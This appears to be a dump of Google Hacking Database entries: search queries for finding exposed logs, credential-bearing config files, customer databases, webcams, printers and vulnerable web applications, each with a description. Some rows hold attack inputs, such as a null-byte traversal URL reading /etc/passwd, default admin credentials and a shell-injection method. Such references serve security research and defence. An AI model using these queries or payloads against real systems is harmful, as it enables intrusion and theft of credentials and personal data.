intitle:index.of (inurl:fileadmin | intitle:fileadmin)	intitle:index.of (inurl:fileadmin | intitle:fileadmin)	TYPO3 is a free Open Source content management system for enterprise purposes on the web and in intranets, featuring a set of ready-made interfaces, functions and modules.The fileadmin directory is the storage for all user data like website templates, graphics, documents and so on.

		Normally no sensitive data will be stored here except the one made available in restricted areas.Unprotected fileadmin directories can be found by an attacker using this query.Vendor: http://www.typo3.com/
Quicksite demopages for Typo3	"FC Bigfeet" -inurl:mail	TYPO3 is a free Open Source content management system for enterprise purposes on the web and in intranets, featuring a set of ready-made interfaces, functions and modules.The quicksite package is a demosite for typo3. Quicksite or Testsite will install a complete website of a soccerclub using the following credentials:user:adminpassword:passwordIf you want to login, again append "typo3" to the website dir.Vendor: http://www.typo3.com/An attacker will consider this as yet another way to find Typo3 hosts for which security focus lists vulnerabilities.
site:netcraft.com intitle:That.Site.Running Apache	site:netcraft.com intitle:That.Site.Running Apache	Netcraft reports a site's operating system, web server, and netblock owner together with, if available, a graphical view of the time since last reboot for each of the computers serving the site. So, Netcraft scans Web servers, Google scans Netcraft, and the hacker scans Google.This search is easily modified (replace "apache" for the other server software), thus adding yet another way to find the webserver software version info.
ext:log "Software: Microsoft Internet Information Services *.*"	ext:log "Software: Microsoft Internet Information Services *.*"	Microsoft Internet Information Services (IIS) has log files that are normally not in the docroot, but then again, some people manage to share them. An attacker may use these to gather: loginnames (FTP service), pathinformation, databasenames, and stuff..Examples:12:09:37 194.236.57.10 [2501]USER micze 33112:09:38 194.236.57.10 [2501]PASS - 23008:30:38

		194.236.57.10 [2416]DELE com-gb97.mdb2000-06-18 15:08:30 200.16.212.225 activeip\carpinchos 4.22.121.13 80 POST /_vti_bin/_vti_aut/author.dll - 200 2958 551 120 MSFrontPage/4.0 -
filetype:cgi inurl:tseekdir.cgi	filetype:cgi inurl:tseekdir.cgi	The Turbo Seek search engine has a vulnerability. The removed user can look at the contents of files on target. A removed user can request an URL with name of a file, which follows NULL byte (%00) to force system to display the contents of a required file, for example:/cgi-bin/cgi/tseekdir.cgi?location=/etc/passwd%00/cgi-bin/tseekdir.cgi?id=799*location=/etc/passwd%00 More: http://www.securitytracker.com/alerts/2004/Sep/1011221.html
"Powered by phpOpenTracker" Statistics	"Powered by phpOpenTracker" Statistics	phpOpenTracker is a framework solution for the analysis of website traffic and visitor analysis. More info at the vendor site: http://www.phpopentracker.de/en/index.phpA prebuild sample report is shipped with PhpOpenTracker which is used by most sites. This report does not use all possibilities of the framework like user tracking.
filetype:vcs vcs	filetype:vcs vcs	Filext.com says: "Various programs use the *.VCS extension; too many to list individually. Take clues from the location of the file as a possible pointer to exactly which program is producing the file. The file's date and time can also help if you know which programs you were running when the file was written."The most common use is the "vCalendar File", used by Outlook for example. It can also belong to a "Palm vCal Desktop Application". For those who prefer clean searches, try these variations (with less results):"PRODID: PalmDesktop Generated"filetype:vcs

		VCALENDAR filetype:vcs BEGIN:VCALENDAR
filetype:config config intext:appSettings "User ID"	filetype:config config intext:appSettings "User ID"	These files generally contain configuration information for a .Net Web Application. Things like connection strings to databases file directories and more. On a properly setup IIS these files are normally not served to the public.
inurl:"/catalog.nsf" intitle:catalog	inurl:"/catalog.nsf" intitle:catalog	This will return servers which are running versions of Lotus Domino. The catalog.nsf is the servers DB catalog. It will list all the DB's on the server and sometimes some juicy info too. An attacker can back the url down to the "/catalog.nsf" part if needed.
filetype:pst inurl:"outlook.pst"	filetype:pst inurl:"outlook.pst"	All versions of the popular business groupware client called Outlook have the possibility to store email, calenders and more in a file for backup or migration purposes.An attacker may learn a great deal about the owner or the company by downloading these files and importing them in his own client for his viewing pleasure.
"index of/" "ws_ftp.ini" "parent directory"	"index of/" "ws_ftp.ini" "parent directory"	This search is a cleanup of a previous entry by J0hnny. It uses "parent directory" to avoid results other than directory listings.WS_FTP.ini is a configuration file for a popular win32 FTP client that stores usernames and weakly encoded passwords. There is another way to find this file, that was added by Xewan:filetype:ini ws_ftp pwdIn our experience it's good to try both methods, as the results will differ quite a bit.
filetype:php inurl:index.php inurl:"module=subjects" inurl:"func=*" (listpages| viewpage | listcat)	filetype:php inurl:index.php inurl:"module=subjects" inurl:"func=*" (listpages| viewpage | listcat)	Reportedly the PostNuke Modules Factory Subjects module is affected by a remote SQL injection vulnerability. http://securityfocus.com/bid/11148/discussion/

W-Nailer Upload Area	uploadpics.php?did= -forum	What is W-Nailer?W-Nailer is a PHP script which can create galleries for you.It uses a graphical library (GD) which enables PHP to manipulate images, for instance resizing to create thumbnails.W-Nailer is highly configurable to meet your needs. Even better, the configuration is nearly completely webbased.So after you have uploaded your files, you will just need your browser!
filetype:cgi inurl:pdesk.cgi	filetype:cgi inurl:pdesk.cgi	PerlDesk is a web based help desk and email management application designed to streamline support requests, with built in tracking and response logging.http://www.securitytracker.com/alerts/2004/Sep/1011276.html
ext:ldif ldif	ext:ldif ldif	www.filext.com says LDIF = LDAP Data Interchange Format.LDAP is used for nearly everything in our days, so this file may include some juice info for attackers. They can add INTEXT:keyword to get more specific targets.
inurl:mewebmail	inurl:mewebmail	MailEnable Standard Edition provides robust SMTP and POP3 services for Windows NT/2000/XP/2003 systems. This version is free for both personal and commercial usage and does not have any time, user or mailbox restrictions.This search is a portal search. If finds the logins screens. If a vulnerability is found, this search becomes the target base for an attacker.
"Powered by IceWarp Software" inurl:mail	"Powered by IceWarp Software" inurl:mail	IceWarp Web Mail is reported prone to multiple input validation vulnerabilities. Few details regarding the specific vulnerabilities are known. These vulnerabilities are reported to affect all versions of IceWarp Web Mail prior to version 5.2.8.There are two ways to find installations of IceWarp:"Powered by IceWarp Software" inurl:mailintitle:"IceWarp

		Web Mail" inurl:":32000/mail/"http://www.securityfocus.com/bid/10920
inurl:/_layouts/settings	inurl:/_layouts/settings	With the combined collaboration features of Windows SharePoint Services and SharePoint Portal Server 2003, users in an organization can create, manage, and build collaborative Web sites and make them available throughout the organization. More information is available at : http://www.microsoft.com/sharepoint/ Loads of company info can be gained by an attacker when the URL's are unprotected. Furthermore unprotected sharepoint sites give full "Edit, Add and Delete access" to the information, which in case of malicious users may cause loss of important data.
intitle:"MRTG/RRD" 1.1* (inurl:mrtg.cgi | inurl:14all.cgi |traffic.cgi)	intitle:"MRTG/RRD" 1.1* (inurl:mrtg.cgi | inurl:14all.cgi |traffic.cgi)	The remote user can reportedly view the first string of any file on the system where script installed. This is a very old bug, but some sites never upgraded their MRTG installations.http://www.securitytracker.com/alerts/2002/Feb/1003426.htmlAn attacker will find it difficult to exploit this in any usefull way, but it does expose one line of text from a file, for example (using the file /etc/passwd) shows this:ERROR: CFG Error Unknown Option "root:x:0:1:super-user:/" on line 2 or above.
filetype:mdb wwforum	filetype:mdb wwforum	Web Wiz Forums is a free ASP Bulletin Board software package. It uses a Microsoft Access database for storage. The installation instructions clearly indicate to change the default path and filename (admin/database/wwForum.mdb).vendor: http://www.webwizguide.info/web_wiz_forums/The forum database contains the members passwords, either encrypted or in plain text, depending

		on the version.Please note: this search is proof that results can stay in Google's index for a long time, even when they are not on the site any longer. Currently only 2 out of 9 are actually still downloadable by an attacker.
"Powered By Elite Forum Version *.*"	"Powered By Elite Forum Version *.*"	Elite forums is one of those Microsoft Access .mdb file based forums. This one is particularly dangerous, because the filename and path are hardcoded in the software. An attacker can modify index.php for ./data/users/userdb.dat, open the file and see something like this:42administrat4571XXX367b52XXXb33b6ce74df1e0170(data was xx'd)These are MD5 digests and can be brute forced (with enough time) or dictionary cracked by a malicious user, thus giving adminstrator access to the forum.
intitle:"microsoft certificate services" inurl:certsrv	intitle:"microsoft certificate services" inurl:certsrv	Microsoft Certificate Services Authority (CA) software can be used to issue digital certificates. These are often used as "proof" that someone or something is what they claim they are. The Microsoft certificates are meant to be used with IIS for example with Outlook Web Access. The users of these certificates have to decide if they trust it or not. If they do, they can import a root certificate into their browsers (IE).Anyways, this search by JimmyNeutron uncovers a few of these certificate servers directly connected to the Internet. Which (in theory) means anyone could issue a certificate from these sites and abuse it to mislead websurfers in phishing scams and such.
intitle:"webadmin - /*" filetype:php directory filename permission	intitle:"webadmin - /*" filetype:php directory filename permission	Webadmin.php is a free simple Web-based file manager. This search finds sites that use this software. If left unprotected an attacker files can be modified or added on the server.More info and screenshot at:

		http://cker.name/webadmin/
intitle:AnswerBook2 inurl:ab2/ (inurl:8888 | inurl:8889)	intitle:AnswerBook2 inurl:ab2/ (inurl:8888 | inurl:8889)	First of all this search indicates solaris machines and second the webservice is vulnerable to a format string attack.Sun's AnswerBook 2 utilizes a third-party web server daemon (dwhttpd) that suffers from a format string vulnerability. The vulnerability can be exploited to cause the web server process to execute arbitrary code. The web server runs as user and group 'daemon' who, under recent installations of Solaris, owns no critical fileshttp://www.securiteam.com/unixfocus/5SP081F80K.htm
More Axis netcams !	intitle:"Live View / - AXIS" | inurl:view/view.sht	More Axis Netcams, this search combines the cams with the default title (Live View) and extends it by searching for the "view/view.shtml" URL identifier. Models found with this search are:AXIS 205 version 4.02AXIS 206M Network Camera version 4.10AXIS 206W Network Camera version 4.10AXIS 211 Network Camera version 4.02AXIS 241S Video Server version 4.02AXIS 241Q Video Server version 4.01Axis 2100 Network CameraAxis 2110 Network Camera 2.34Axis 2120 Network Camera 2.40AXIS 2130R PTZ Network Camera
intitle:"The AXIS 200 Home Page"	intitle:"The AXIS 200 Home Page"	The Axis 200 HOME pages reside within the AXIS 200 device and hold information about the current software version, technical documentation, some howto's and the device settings.
Konica Network Printer Administration	intitle:"network administration" inurl:"nic"	This finds Konica Network Printer Administration pages. There is one result at the time of writing.
Aficio 1022	inurl:sts_index.cgi	The Ricoh Aficio 1022 is a digital multifunctional B&W copier, easily upgraded to include network printing, network scanning, standard/LAN faxing and storage capabilities.

intitle:RICOH intitle:"Network Administration"	intitle:RICOH intitle:"Network Administration"	Network Administration pages for several Ricoh Afficio printer models, for example the Aficio 1018D and RICOH LASER AP1600.
intitle:"lantronix web-manager"	intitle:"lantronix web-manager"	The Lantronix web manager home pages show the print server configuration (Server Name, Boot Code Version, Firmware, Uptime, Hardware Address, IP Address and Subnet Mask). The other setting pages are password protected.
Canon ImageReady machines	intitle:"remote ui:top page"	The "large" Canon ImageReady machines with model versions 3300, 5000 & 60000.
((inurl:ifgraph "Page generated at") OR ("This page was built using ifgraph"))	((inurl:ifgraph "Page generated at") OR ("This page was built using ifgraph"))	ifGraph is a set of perl scripts that were created to fetch data from SNMP agents and feed a RRD file (Round Robin Database) so that graphics can be created later. The graphics and the databases are created using a tool called RRDTool.
ext:cgi intext:"nrg-" " This web page was created on "	ext:cgi intext:"nrg-" " This web page was created on "	NRG is a system for maintaining and visualizing network data and other resource utilization data. It automates the maintenance of RRDtool databases and graph web pages (that look like MRTG web pages.)
+":8080" +":3128" +":80" filetype:txt	+":8080" +":3128" +":80" filetype:txt	With the string [+":8080" +":3128" +":80" filetype:txt] it is possible to find huge lists of proxies... So, I've written a simple shell script that checks these lists and filters out the not responding proxies. It also stores time response in another file, so you can choose only fast proxies. Furthermore it can control the zone of the proxy with a simple whois grep... The script proxytest.sh is on my website:http://rawlab.relay.homelinux.net/programmi/proxytest.sh
ReMOSitory module for Mambo	inurl:com_remository	It is reported that the ReMOSitory module for Mambo is prone to an SQL injection vulnerability. This issue is due to a failure of the module to

		properly validate user supplied URI input. Because of this, a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database. It may be possible for an attacker to disclose the administrator password hash by exploiting this issue.Full report: http://www.securityfocus.com/bid/11219Klouw suggests: inurl:index.php?option=com_remository&Itemid= Renegade added : ".. to get an administrator login, change the url to http://www.example.com/administrator .. it will pop up an login box...
inurl:cgi.asx?StoreID	inurl:cgi.asx?StoreID	BeyondTV is a web based software product which let you manage your TV station. All you need is to install a TV tuner card on your PC and Connect your TV source (i.e. television antenna) to your TV tuner card. With a installed BeyondTV version you can now administrate your TV with your browser even over the internet.
inurl:hp/device/this.LCDispatcher	inurl:hp/device/this.LCDispatcher	This one gets you on the web interface of some more HP Printers.
intitle:"WordPress > * > Login form" inurl:"wp-login.php"	intitle:"WordPress > * > Login form" inurl:"wp-login.php"	WordPress is a semantic personal publishing platform.. it suffers from a possible XSS attacks.http://www.securityfocus.com/bid/11268/info/
intitle:webeye inurl:login.ml	intitle:webeye inurl:login.ml	This one gets you on the webinterface of Webeye webcams.
inurl:"comment.php?serendipity"	inurl:"comment.php?serendipity"	serendipity is a weblog/blog system, implemented with PHP. It is standards compliant, feature rich and open source.For an attacker it is possible to inject SQL commands.http://www.securityfocus.com/bid/11269/discussion/
"Powered by AJ-Fork v.167"	"Powered by AJ-Fork v.167"	AJ-Fork is, as the name implies - a fork. Based on the CuteNews 1.3.1

		core, the aim of the project is to improve what can be improved, and extend what can be extended without adding too much bloat (in fierce opposition to the mainstream blogging/light publishing tools of today). The project aims to be backwards-compatible with CuteNews in what areas are sensible. It is vulnerable for a full path disclosure. http://www.securityfocus.com/bid/11301
"Powered by Megabook *" inurl:guestbook.cgi	"Powered by Megabook *" inurl:guestbook.cgi	MegaBook is a web-based guestbook that is intended to run on Unix and Linux variants. MegaBook is prone to multiple HTML injection vulnerabilities. http://www.securityfocus.com/bid/8065
intitle:"axis storpoint CD" intitle:"ip address"	intitle:"axis storpoint CD" intitle:"ip address"	Axis' network CD/DVD servers are faster, less costly and easier to manage than using full-blown file servers for networking CD/DVD collections. Any organization that relies heavily on CD/DVD-based information can benefit from an AXIS StorPoint CD+.
intitle:"oMail-admin Administration - Login" -inurl:omnis.ch	intitle:"oMail-admin Administration - Login" -inurl:omnis.ch	oMail-webmail is a Webmail solution for mail servers based on qmail and optionally vmailmgr or vpopmail. The mail is read directly from maildirs on the hard disk, which is much quicker than using protocols like POP3 or IMAP. Other features includes multiple language support (English, French, German, Japanese, Chinese, and many more), HTML and pictures inline display, folders, and address book support.
inurl:"map.asp?" intitle:"WhatsUp Gold"	inurl:"map.asp?" intitle:"WhatsUp Gold"	"WhatsUp Gold's new SNMP Viewer tool enables Area-Wide to easily track variables associated with any port on a network device. With a few simple clicks, a network engineer can select device ports, navigate trees, and graph variables in real time. For instance,

		Area-Wide can track bandwidth or CPU utilization on a router to aid in capacity and resource management."
inurl:" WWWADMIN.PL " intitle:"wwwadmin "	inurl:" WWWADMIN.PL" intitle:"wwwadmin"	wwwadmin.pl is a script that allows a user with a valid username and password, to delete files and posts from the associated forum.
inurl:odbc.ini ext:ini -cvs	inurl:odbc.ini ext:ini -cvs	This search will show the googler ODBC client configuration files which may contain usernames/databases/ipaddresses and whatever.
intitle:"Web Data Administrator - Login"	intitle:"Web Data Administrator - Login"	The Web Data Administrator is a utility program implemented in ASP.NET that enables you to easily manage your SQL Server data wherever you are. Using its built-in features, you can do the following from Internet Explorer or your favorite Web browser. Create and edit databases in Microsoft SQL Server 2000 or Microsoft SQL Server 2000 Desktop Engine (MSDE) Perform ad-hoc queries against databases and save them to your file system Export and import database schema and data.
intitle:"Object not found" netware "apache 1.."	intitle:"Object not found" netware "apache 1.."	This search will show netware apache webservers as the result.
intitle:"switch home page" "cisco systems" "Telnet - to"	intitle:"switch home page" "cisco systems" "Telnet - to"	Most cisco switches are shipped with a web administration interface. If a switch is reachable from the internet and google cashed it this search will show it.
intitle:"DEFAULT_CONFIG - HP"	intitle:"DEFAULT_CONFIG - HP"	searches for the web interface of HP switches.
"Powered by yappa-ng"	"Powered by yappa-ng"	yappa-ng is a very powerful but easy to install and easy to use online PHP photo gallery for all Operating Systems (Linux/UNIX, Windows, MAC, ...), and all Webservers (Apache, IIS, ...) with no need for a DataBase (no MySQL,...).yappa-ng is prone to a

		security vulnerability in the AddOn that shows a random image from any homepage. This issue may let unauthorized users access images from locked albums.http://www.securityfocus.com/bid/11314
"Active Webcam Page" inurl:8080	"Active Webcam Page" inurl:8080	Active WebCam is a shareware program for capturing and sharing the video streams from a lot of video devices. Known bugs: directory traversal and cross site scripting
inurl:changepassword.cgi -cvs	inurl:changepassword.cgi -cvs	Allows a user to change his/her password for authentication to the system. Script allows for repeated failed attempts making this script vulnerable to brute force.
filetype:ini inurl:flashFXP.ini	filetype:ini inurl:flashFXP.ini	FlashFXP offers the easiest and fastest way to transfer any file using FTP, providing an exceptionally stable and robust program that you can always count on to get your job done quickly and efficiently. There are many, many features available in FlashFXP.The flashFXP.ini file is its configuration file and may contain usernames/passwords and everything else that is needed to use FTP.
inurl:shopdbtest.asp	inurl:shopdbtest.asp	shopdbtest is an ASP page used by several e-commerce products. A vulnerability in the script allows remote attackers toview the database location, and since that is usually unprotected, the attacker can then download the web site's database by simly clicking on a URL (that displays the active database). The page shopdbtest.asp is visible to all the users and contains the full configuration information. An attacker ca therefore download the MDB (Microsoft Database file), and gain access to sensitive information about orders, users, password, ect.

"Powered by A-CART"	"Powered by A-CART"	A-CART is an ASP shopping cart application written in VBScript. It is comprised of a number of ASP scripts and an Access database. A security vulnerability in the product allows remote attackers to download the product's database, thus gain access to sensitive information about users of the product (name, surname, address, e-mail, credit card number, and user's login-password). http://www.securityfocus.com/bid/5597 (search SF for more)
"Online Store - Powered by ProductCart"	"Online Store - Powered by ProductCart"	ProductCart is "an ASP shopping cart that combines sophisticated ecommerce features with time-saving store management tools and remarkable ease of use. It is widely used by many e-commerce sites". Multiple SQL injection vulnerabilities have been found in the product, they allow anything from gaining administrative privileges (bypassing the authentication mechanism), to executing arbitrary code. http://www.securityfocus.com/bid/8105 (search SF for more)
"More Info about MetaCart Free"	"More Info about MetaCart Free"	MetaCart is an ASP based shopping Cart application with SQL database. A security vulnerability in the free demo version of the product (MetaCartFree) allows attackers to access the database used for storing user provided data (Credit cart numbers, Names, Surnames, Addresses, E-mails, etc).
inurl:midicart.mdb	inurl:midicart.mdb	MIDICART is s an ASP and PHP based shopping Cart application with MS Access and SQL database. A security vulnerability in the product allows remote attackers to download the product's database, thus gain access to sensitive information about users of the product (name, surname, address, e-mail, phone number, credit card number, and company name).

camera linksys inurl:main.cgi	camera linksys inurl:main.cgi	Another webcam, Linksys style.
intitle:"MailMan Login"	intitle:"MailMan Login"	MailMan is a product by Endymion corporation that provides a web based interface to email via POP3 and SMTP. MailMan is very popular due to its amazingly easy setup and operation. MailMan is written as a Perl CGI script, the version that is shipped to customers is obfuscated in an attempt to prevent piracy. The code contains several insecure calls to open() containing user specified data. These calls can be used to execute commands on the remote server with the permissions of the user that runs CGI scripts, usually the web server user that is in most cases 'nobody'.
intitle:"my webcamXP server!" inurl:":8080"	intitle:"my webcamXP server!" inurl:":8080"	"my webcamXP server!"Is there really an explantation needed?
(inurl:webArch/mainFrame.cgi) | (intitle:"web image monitor" -htm -solutions)	(inurl:webArch/mainFrame.cgi) | (intitle:"web image monitor" -htm -solutions)	The Ricoh Aficio 2035 (fax/scanner) web interface.Attackers may read faxes and can get information like internal ip addresses.cleanup by: yeseins & golfocleanup date: Apr 28, 2005original dork: inurl:webArch/mainFrame.cgi
"Powered by FUDforum"	"Powered by FUDforum"	FUDforum is a forums package. It uses a combination of PHP & MySQL to create a portable solution that can run on virtually any operating system. FUDforum has two security holes that allow people to download or manipulate files and directories outside of FUDforum's directories. One of the holes can be exploited by everyone, while the other requires administrator access. The program also has some SQL Injection problems. http://www.securityfocus.com/bid/5501
"BosDates	"BosDates Calendar System "	"BosDates is a flexible calendar system

Calendar System " "powered by BosDates v3.2 by BosDev"	"powered by BosDates v3.2 by BosDev"	which allows for multiple calendars, email notifications, repeating events and much more. All of which are easily maintained by even the least technical users." There is a vulnerability in BosDates that allows an attacker to disclose sensitive information via SQL injection.
intitle:"Lotus Domino Go Webserver:" "Tuning your webserver" -site:ibm.com	intitle:"Lotus Domino Go Webserver:" "Tuning your webserver" -site:ibm.com	Domino Go Webserver is a scalable high-performance Web server that runs on a broad range of platforms. Domino Go Webserver brings you state-of-the-art security, site indexing capabilities, and advanced server statistics reporting. With Domino Go Webserver, you can speed beyond your competition by exploiting the latest advances in technology, such as Java, HTTP 1.1, and Web site content rating. Get all this and more in a Web server that's easy to install and maintain. -- From the Lotus Domino Go Webserver web pag
intitle:"error 404" "From RFC 2068 "	intitle:"error 404" "From RFC 2068 "	WebLogic Server Process Edition extends the functionality of the Application Server by converging custom app development with powerful Business Process Management (BPM) capabilities to provide an industrial strength, standards-based framework that enables the rapidly assembly of composite services, transforming existing infrastructure to a service oriented architecture-in a manageable phased approach.
intitle:"Open WebMail" "Open WebMail version (2.20|2.21|2.30) "	intitle:"Open WebMail" "Open WebMail version (2.20|2.21|2.30) "	"Open WebMail is a webmail system based on the Neomail version 1.14 from Ernie Miller. Open WebMail is designed to manage very large mail folder files in a memory efficient way. It also provides a range of features to help users migrate smoothly from Microsoft Outlook to Open WebMail". A remote attacker can run arbitrary commands with the web server's

		privileges by exploiting an unfiltered parameter in userstat.pl. Details Vulnerable Systems: * Open Webmail versions 2.20, 2.21 and 2.30 * Limited exploitation on openwebmail-current.tgz that was released on 2004-04-30 (See below) The vulnerability was discovered in an obsolete script named userstat.pl shipped with Open Webmail. The script doesn't properly filter out shell characters from the loginname parameter. The loginname parameter is used as an argument when executing openwebmail-tool.pl from the vulnerable script. By adding a ";", "|" or "( )" followed by the shell command to a http GET, HEAD or POST request an attacker can execute arbitrary system commands as an unprivileged user (the Apache user, "nobody" or "www", e.g.).
intitle:"EMUMAIL - Login" "Powered by EMU Webmail"	intitle:"EMUMAIL - Login" "Powered by EMU Webmail"	The failure to strip script tags in emumail.cgi allows for XSS type of attack. Vulnerable systems: * EMU Webmail version 5.0 * EMU Webmail version 5.1.0 Depending on what functions you throw in there, you get certain contents of the emumail.cgi file. The vulnerability was discovered in an obsolete script named userstat.pl shipped with Open Webmail. The script doesn't properly filter out shell characters from the loginname parameter. http://www.securityfocus.com/bid/9861
intitle:"WebJeff - FileManager" intext:"login" intext:Pass|PAsse	intitle:"WebJeff - FileManager" intext:"login" intext:Pass|PAsse	WebJeff-Filemanager 1.x DESCRIPTION: A directory traversal vulnerability has been identified in WebJeff-Filemanager allowing malicious people to view the contents of arbitrary files. The problem is that the "index.php3" file doesn't verify the path to the requested file. Access to files can be done without authorisation.

		http://www.securityfocus.com/bid/7995
inurl:netw_tcp.shtml	inurl:netw_tcp.shtml	An Axis Network Camera captures and transmits live images directly over an IP network (e.g. LAN/intranet/Internet), enabling users to remotely view and/or manage the camera from a Web browser on any computer [..]
intitle:"Object not found!" intext:"Apache/2.0.* (Linux/SuSE)"	intitle:"Object not found!" intext:"Apache/2.0.* (Linux/SuSE)"	This one detects apache werbservers (2.0.X/SuSE) with its error page.
inurl:"messageboard/Forum.asp?"	inurl:"messageboard/Forum.asp?"	Multiple vulnerabilities have been found in GoSmart Message Board. A remote user can conduct SQL injection attack and Cross site scripting attack. http://www.securityfocus.com/bid/11361
intitle:"Directory Listing" "tree view"	intitle:"Directory Listing" "tree view"	Dirlist is an ASP script that list folders in an explorer style: * Tree * Detailed * Tiled Quote: *Lists files and directories in either a Tree, Detailed, or Tiled view. *Can set a "Starting Directory". This can be a IIS Virtual Directory path. *Displays file and directory properties. *Can specify directories which you do not want to display and access. *Can specify directories which you only want to display and access. *Can specify what file-types to only display. *Displays custom file-type icons. This can be turned off in the settings. * 'Detailed' and 'tiled' views display a Breadcrumb bar for easier navigation. This can be turned off in the settings.
inurl:default.asp intitle:"WebCommander"	inurl:default.asp intitle:"WebCommander"	Polycom WebCommander gives you control over all aspects of setting up conferences on Polycom MGC MCUs. With Polycom WebCommander, scheduling and launching multipoint conferences, ad hoc meetings or future conferences is an easy, productive way

		to schedule meetings.
intitle:"Philex 0.2*" -script -site:freelists.org	intitle:"Philex 0.2*" -script -site:freelists.org	Philex (phile 'file' explorer) is a web content manager based php what philex can do ? - easy navigation with tree structure - create, delete, rename, copy and move folders/files. - download files (normal or compressed :zip, gz, bz). - download many files as one compressed file. - send files by email. - upload local files to server
intitle:mywebftp "Please enter your password"	intitle:mywebftp "Please enter your password"	MyWebFTP Free is a free lite version of MyWebFTP Personal - a PHP script providing FTP client capabilities with the user interface in your browser. Install it on a remote server and easily connect to your FTP servers through a firewall or a proxy not allowing FTP connections. No PHP built-in FTP support is required. Perform actions on many files at once. Password protected from casual surfers wasting your bandwidth. Nice look and feel is easy customizable.
"1999-2004 FuseTalk Inc" -site:fusetalk.com	"1999-2004 FuseTalk Inc" -site:fusetalk.com	Fusetalk forums (v4) are susceptible to cross site scripting attacks that can be exploited by passing a img src with malicious javascript.
"2003 DUware All Rights Reserved"	"2003 DUware All Rights Reserved"	Multiple vulnerabilities have been identified in the software that may allow a remote attacker to carry out SQL injection and HTML injection attacks. An attacker may also gain unauthorized access to a user's account. DUclassmate may allow unauthorized remote attackers to gain access to a computer. DUclassified is reported prone to multiple SQL injection vulnerabilities. SQL injection issues also affect DUforum. DUclassified and DUforum are also reported vulnerable to various unspecified HTML injection vulnerabilities.
"WebExplorer Server - Login"	"WebExplorer Server - Login" "Welcome to WebExplorer Server"	WebExplorer Server is a web-based file management system for sharing

"Welcome to WebExplorer Server"		files with user permissions and quota limits. It features easy user interface and online administration which will allow you to manage users/groups/permissions without the need of server configuration knowledge. It can be used for remote file storage(eg FreeDrive)/hosting services, Companies/Educational institutions that need to share documents among people.
intitle:"ASP Stats Generator *.*" "ASP Stats Generator" "2003-2004 weppos"	intitle:"ASP Stats Generator *.*" "ASP Stats Generator" "2003-2004 weppos"	ASP Stats Generator is a powerful ASP script to track web site activity. It combines a server side sniffer with a javascript system to get information about clients who are visiting your site.
"Installed Objects Scanner" inurl:default.asp	"Installed Objects Scanner" inurl:default.asp	Installed Objects Scanner makes it easy to test your IIS Webserver for installed components. Installed Objects Scanner also has descriptions and links for many components to let you know more on how using those components. Just place the script on your server and view it in your browser to check your server for all currently known components.
intitle:"remote assessment" OpenAanval Console	intitle:"remote assessment" OpenAanval Console	The Aanval Intrusion Detection Console is an advanced intrusion detection monitor and alerting system. Currently supporting modules for Snort and syslog - Aanval provides real-time monitoring, reporting, alerting and stability. Aanval's web-browser interface provides real-time event viewing and system/sensor management.
ext:ini intext:env.ini	ext:ini intext:env.ini	This one shows configuration files for various applications. based on the application an attacker may find information like passwords, ipaddresses and more.
ezBOO "Administrator Panel" -cvs	ezBOO "Administrator Panel" -cvs	ezBOO WebStats is a high level statistical tool for web sites monitoring. It allows real time access monitoring

		on several sites. Based on php and mySQL it is easy to install and customization is made easy. It works on Unix, Linux and Windows
"This page has been automatically generated by Plesk Server Administrator"	"This page has been automatically generated by Plesk Server Administrator"	Plesk Server Administrator (PSA) is web based software that enables remote administration of web servers. It can be used on Linux and other systems that support PHP. Due to an input validation error in Plesk Server Administrator, it is possible for a remote attacker to make a specially crafted web request which will display PHP source code. This is acheivable by connecting to a host (using the IP address rather than the domain name), and submitting a request for a known PHP file along with a valid username. http://www.securityfocus.com/bid/3737
"The script whose uid is " "is not allowed to access"	"The script whose uid is " "is not allowed to access"	This PHP error message is revealing the webserver's directory and user ID.
filetype:php inurl:nqt intext:"Network Query Tool"	filetype:php inurl:nqt intext:"Network Query Tool"	Network Query Tool enables any Internet user to scan network information using:* Resolve/Reverse Lookup* Get DNS Records* Whois (Web)* Whois (IP owner)* Check port (!!!)* Ping host* Traceroute to host* Do it allThe author has been informed that the nqt form also accepts input from cross site pages, but he will not fix it.A smart programmer could use the port scan feature and probe al the nmap services ports. Though this would be slow, but it provides a higher degree of anonymity, especially if the attacker is using a proxy or an Internet Cafe host to access the NQT pages.It gets even worse .. an attacker can scan the *internal* hosts of the networks that host NQT in many cases. Very dangerous.PS: this vulnerability was found early this year (search google for the full report), but was never added to

		the GHDB for some reason.
inurl:TiVoConnect?Command=QueryServer	inurl:TiVoConnect?Command=QueryServer	Tivo is a the digital replacement for your analog videorecorder. It's a digital media system that amongst other things allows recording tv shows to a hard disk. More information is available at http://www.tivo.com.This search was found in one of those cgi scanning tools out there. Currently there are only two results and only the first responds with information like this:1.0Sat Oct 16 15:26:46 EDT 2004JavaHMO1.0Leon Nicholls-This is an official build. Identifier: 2003.03.25-1612 Last Change: 112792In the future vulnerabilities may be found in this software. For now an attacker can enjoy the mp3 stream it provides (copy the server:port in winamp or xmms).
ext:mdb inurl:*.mdb inurl:fpdb shop.mdb	ext:mdb inurl:*.mdb inurl:fpdb shop.mdb	The directory "http:/xxx/fpdb/" is the database folder used by some versions of FrontPage. It contains many types of Microsoft Access databases.One of them is Metacart, who used "shop.mdb" as their default name. It contains customer info like phone numbers but also plain text passwords. A screenshot is available at ImageShack: http://img49.exs.cx/img49/7673/shopmdb.jpgThree results only at time of writing. Remove the shop.mdb part to see the complete list of databases.
inurl:cgi-bin/testcgi.exe "Please distribute TestCGI"	inurl:cgi-bin/testcgi.exe "Please distribute TestCGI"	Test CGI by Lilikoi Software aids in the installation of the Ceilidh discussion engine for the World Wide Web. An attacker can use this to gather information about the server like: Operating System, IP and the full docroot path.
inurl:ttt-webmaster.php	inurl:ttt-webmaster.php	Turbo traffic trader Nitro v1.0 is a free, fully automated traffic trading script. Multiple vulnerabilities were found.Vulnerability report:

		http://www.securityfocus.com/bid/11358Vendor site: http://www.turbotraffictrader.com/php
intitle:"DVR Web client"	intitle:"DVR Web client"	This embedded DVR is quick plug and play. Just plug it in and it will start recording. You can view all the cameras at once or one at a time. Allows individual pictures to come up on play back or all together. The best feature is the ability to connect via a network and play back existing stored video or view images live.* Four Channel Input* Horizontal Resolution 480 Lines* 16.7 Million Color Output* Display In Quad or Single Image (Full MultiPlex)* Motion Detection* Scheduling* Zoom in Live and Playback* 720H X 480V (Full) 360H X 240V In Quad* 0.1 FPS Thru 15 FPS each camera (60 FPS Total)* Web Interface TCP/IP With Client Software* Back-Up With Mark Image, VCR, Time Lapse, Remote Client Software* Full Remote Camera Controls (PTZ), Alarms, Wiper, Fans, Etc.
